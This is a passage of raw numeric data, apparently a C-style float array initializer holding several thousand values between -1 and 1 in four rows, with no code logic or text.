-0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 0.240572863896085f, -0.597973444252616f, 0.520707363092687f, -0.891796539359942f, -0.0707113684027092f, 0.730270237241197f, -0.202809887987925f, 0.712903235793333f, 0.815918058519912f, -0.619284883130692f, 0.620432327799984f, 0.215462902206797f, 0.913706499476201f, -0.284266999538807f, 0.137669223817851f, -0.320599930994154f, -0.279885143029947f, 0.0759863610502050f, 0.362519848337183f, 0.0897184432777523f, 0.730407126330006f, -0.715664883515070f, -0.964294244830797f, 0.337668374417089f, 0.563780948124681f, 0.534272089774928f, 0.670003495251274f, 0.976582736706313f, -0.576021162432801f, 0.318863740329612f, 0.374838616807691f, 0.437628782275460f, 0.629331465907672f, 0.800673318445353f, -0.964950925853698f, -0.115288102568929f, 0.581179798077059f, 0.892103220665649f, -0.224009831257430f, -0.486848659265476f, 0.768601825625188f, -0.478996958061453f, 0.987216084861456f, -0.00828256241998737f, 0.443388113322642f, -0.209225960405120f, 0.784392408672073f, -0.821157008960409f, 0.169088259578466f, 0.188648958653604f, 0.796321723736402f, 0.804915614204973f, -0.947435972579018f, -0.320368366702004f, -0.0857043727442930f, -0.229914128505395f, -0.802013870592427f, 0.497444368231634f, 0.791040716463223f, 0.586369970276563f, 0.871236424247704f, 0.770091868124107f, -0.458396647683594f, 0.871149873224889f, 0.753895449519495f, 0.295832468734546f, 0.574616471536691f, 0.384408809311353f, -0.978021020306570f, 0.0397482936794495f, 0.628095200786834f, -0.968059492217325f, -0.404306711220928f, 0.659301030460980f, -0.345766174675525f, -0.0517956907600681f, -0.640289082986305f, 0.965202733073502f, 0.909703156044274f, -0.744545066259015f, -0.676836498528477f, 0.0507393165493961f, 0.394673166210436f, 0.250366706754377f, -0.287411651947684f, -0.521760552601739f, 0.214487178617345f, -0.922260536787078f, -0.970217444063294f, -0.632705652784150f, -0.720016326822300f, -0.506393579710801f, 0.774172771450182f, 0.891546338793249f, 0.559706491124446f, -0.513481979527671f, 0.735727350850420f, -0.207760672132971f, 0.956672164225499f, -0.516696999265124f, -0.846015525317730f, -0.199370940530009f, 0.927580907007946f, 0.669786891276299f, -0.208316500739886f, -0.349932032863852f, 0.382722440637189f, -0.455635180187178f, -0.573852668753046f, 0.237990995216907f, -0.00210628303929439f, 0.846035951941252f, 0.921932267818374f, 0.141873820779935f, 0.871317167610738f, -0.632607355185838f, -0.565801401210940f, -0.959881482283947f, -0.732559764685905f, -0.655277252471118f, 0.136770193226314f, 0.206392768880907f, 0.0946932052352707f, -0.147722827344946f, 0.142504821799194f, -0.891443939735724f, -0.660161817562772f, -0.918683225740157f, 0.524851053279394f, -0.841532325411647f, -0.662931925252737f, 0.450018807591706f, 0.157794014139767f, -0.562525486647545f, 0.604051451992330f, 0.859220943805127f, 0.943321402026900f, 0.511188518123118f, -0.332990520726740f, 0.904709059147998f, -0.336911302156504f, -0.0329301811082998f, 0.307263624236174f, -0.640655394434152f, 0.791676792853669f, 0.450137270831791f, 0.746000232170803f, -0.915436267533878f, 0.976514418439799f, 0.828073391112522f, 0.990695018409237f, 0.419713963781614f, -0.286897378037841f, 0.111527193084439f, -0.956913449095442f, 0.263769440437253f, 0.534739246489713f, -0.918314908283506f, 0.680501951418845f, -0.0258330390798596f, -0.696521999550769f, 0.274590593565720f, -0.821334538131451f, 0.104139627465949f, -0.790104923997319f, 0.399265830301725f, 0.118854169469537f, 0.309552488812324f, -0.961100729890863f, -0.665645274594184f, -0.125767140532335f, 0.377154316156289f, -0.971986633153292f, -0.148225730575294f, -0.801072242848910f, 0.735673216754228f, 0.247753694178141f, 0.759093842520115f, -0.529946694334253f, 0.594235069164038f, -0.801015868726278f, 0.141962211231124f, 0.135473683510959f, -0.0431660672944612f, -0.437176231417910f, 0.467008031415084f, 0.324675317141816f, 0.122578305547357f, -0.0351479470228342f, -0.437236315511244f, -0.822621846670407f, 0.989461679354308f, -0.242059902390237f, 0.800837521050356f, -0.387832478851607f, 0.316362161826139f, 0.602440060427024f, 0.890992007298149f, 0.319686042477150f, 0.930326885903916f, -0.170779817104763f, -0.437602177375177f, 0.835764105962134f, 0.522922752459604f, 0.295156847627349f, -0.857646277751538f, -0.451421990712551f, 0.752856133268497f, -0.826193868550830f, -0.906961130052697f, 0.118621494342013f, -0.627099634988204f, 0.163256363060383f, -0.719362770410877f, -0.576563943780491f, -0.369939711177846f, -0.294180430088591f, 0.868430622614485f, 0.945955651201780f, -0.879259966782947f, 0.376142233233261f, -0.549019623646418f, -0.366403875933169f, -0.631308623984507f, -0.398270064613022f, 0.631780765950599f, -0.497821177556814f, -0.0754938097555216f, 0.358298259390762f, -0.438971283619577f, -0.835962846436280f, 0.771544885338102f, 0.132031497593111f, 0.0964144932127649f, -0.171144812197942f, 0.734241841669664f, 0.773828279651661f, 0.591442573315395f, 0.449840299498767f, -0.249196666141921f, 0.910274822633449f, -0.623687862912847f, -0.954398427932048f, 0.700975370671540f, -0.128268698036002f, 0.723971772247224f, -0.239872317271662f, 0.599101633280873f, 0.323504979356466f, 0.726076237951951f, 0.775013638477775f, -0.736157118505210f, 0.681129332563739f, -0.989456914597076f, -0.860559243921100f, -0.652547050354339f, 0.227533741410917f, 0.263244425371628f, -0.412800042549063f, -0.774547399227093f, 0.959749220773555f, 0.0285018454625012f, 0.0260964660594436f, -0.817249773797516f, -0.275510098931589f, -0.957071090655421f, 0.755874233806472f, 0.0601247360044190f, 0.155148678178749f, 0.744458452388040f, 0.206143083045583f, 0.405575258734775f, 0.591273066531951f, -0.286358679634110f, 0.168522523380964f, -0.0740663582251186f, 0.991796969736415f, 0.00304472789286958f, 0.0955103281360055f, 0.595292305224677f, -0.633460800851610f, 0.969720344590438f, -0.788939516987962f, -0.690852963213444f, -0.751849610482179f, -0.454105756229298f, 0.527652178438853f, -0.249156091787771f, -0.395486634371019f, -0.586329259469701f, 0.774216673365643f, 0.000796185912973479f, 0.753872935709907f, 0.691883261316931f, -0.599798140130743f, 0.140718954973018f, 0.400016581571111f, -0.412934563119652f, 0.782683275869451f, -0.837415681080234f, 0.503344297140354f, 0.443222186121185f, -0.869067764953740f, 0.891507832007671f, -0.258782538717313f, -0.592111951047753f, 0.542828422857983f, -0.959476625230936f, -0.373353196174649f, 0.558975637763876f, 0.848608638566440f, -0.861701716955403f, -0.937645215971517f, 0.0456695238513540f, -0.643462752057364f, -0.194887894642735f, 0.576940690214110f, -0.889414400002951f, -0.120401270393403f, 0.581976128201341f, -0.914549817300516f, 0.619675229253819f, -0.446355411157033f, -0.686510097388917f, 0.199022704414501f, 0.0679083509214176f, 0.939286059873160f, 0.919854436895475f, -0.921420499961796f, -0.933865152326639f, -0.173428453947994f, 0.0481843697148709f, 0.282408667923603f, 0.411093542307595f, 0.332739798472214f, -0.539048264159821f, -0.704491312083244f, -0.502163632960363f, 0.955228344617550f, 0.620064399129425f, -0.470222569036376f, 0.754614931250763f, -0.616308595262807f, -0.914574682979899f, 0.624066330640082f, 0.836911269770582f, 0.913639510454430f, 0.653228461676548f, -0.269928008555249f, 0.313006679186127f, 0.984676487220296f, -0.492012769698267f, 0.956868299674771f, 0.291679581317590f, 0.0391808383867289f, 0.572884371819903f, 0.0424011452585180f, 0.955486550514640f, -0.402317209279260f, -0.606465037288902f, 0.547296561663929f, -0.262634118959448f, -0.555413611714328f, -0.328781770154915f, 0.145794994289916f, 0.141260540582646f, -0.451655981927315f, 0.305553535897825f, 0.828724940454557f, 0.263943455052409f, -0.609183422737396f, 0.691170220321907f, -0.372701931956834f, 0.750237424665146f, -0.249353280856890f, 0.379870697565802f, 0.385751069018950f, -0.515117494253264f, 0.716937491491901f, 0.343749563024118f, -0.462962268225808f, -0.542579750084113f, 0.865163879545508f, 0.348358741505572f, -0.309602240547849f, -0.0504864877295679f, -0.822856269672862f, 0.199343960697129f, -0.790668167630170f, -0.0910655952543342f, -0.0243531696455832f, 0.832501734319368f, 0.604933598167068f, 0.899053047900036f, 0.270668041381131f, 0.523691409964688f, -0.0841567002292820f, -0.844392287920523f, -0.910987838261586f, -0.470654231510287f, -0.103828495683496f, 0.253788695977573f, -0.103172947809401f, -0.339896741661867f, -0.447251997825083f, 0.217200476817515f, -0.474840886373359f, 0.227876267254650f, -0.851351819181938f, -0.902078585170911f, 0.445464427415683f, -0.842484493463611f, -0.141606736723087f, 0.104224619207891f, -0.554900879859470f, 0.818556374444811f, -0.832710463532413f, -0.284760316465868f, 0.697962734672817f, 0.235137001970259f, 0.538298155374871f, -0.598477541924834f, -0.833959821954974f, -0.164556670763502f, -0.443902305525605f, 0.484290717235912f, 0.319356252041167f, 0.0834544406255109f, -0.839174383593280f, -0.514784811627172f, 0.466424623987191f, 0.597641402168886f, -0.344706573843316f, 0.346954604803744f, 0.150560726232471f, -0.963838773301094f, -0.210406119881130f, 0.740751216241446f, -0.519896828058978f, 0.882277568799242f, 0.982734995306564f, -0.691486807580351f, -0.120653164608028f, 0.263039860106709f, -0.472131671311566f, -0.469155525952548f, -0.562705921604020f, -0.737502946123759f, 0.151863404645485,
-0.367233093688652f, 0.149585386378220f, -0.152980596399920f, 0.572826412281344f, -0.498718037086228f, -0.0794332639424211f, 0.659760386972575f, -0.574814983564964f, 0.451329484188896f, 0.473066930128670f, -0.135151886005125f, 0.379571405476121f, -0.308712078323501f, -0.136843563834117f, 0.395667583713552f, 0.196238140324408f, 0.588147058383512f, 0.770505301611929f, -0.865188840370228f, 0.266437694165002f, -0.428134513764013f, 0.661967260527446f, -0.752421375452379f, -0.556389852423621f, 0.424944298468302f, -0.480554454112605f, 0.916159659428765f, -0.112147362457396f, 0.363475545209813f, 0.698805683596358f, -0.862382341730295f, -0.489415523853276f, 0.453056404353730f, -0.606183761884457f, -0.00869682692408680f, -0.288739722701460f, 0.487988005841341f, 0.566870040344668f, 0.0894575138005909f, 0.887832293799319f, -0.0981274237649674f, -0.279935090781560f, 0.506891141525948f, 0.952901245338457f, 0.458002767525373f, -0.569410776125351f, 0.849518291873527f, -0.585020953514368f, 0.676037258640625f, 0.299076264841081f, 0.911385441491479f, -0.954959555659035f, -0.681285607891366f, 0.631368118385947f, 0.522268523899537f, 0.900701101674748f, -0.647701850365577f, 0.567960815808216f, 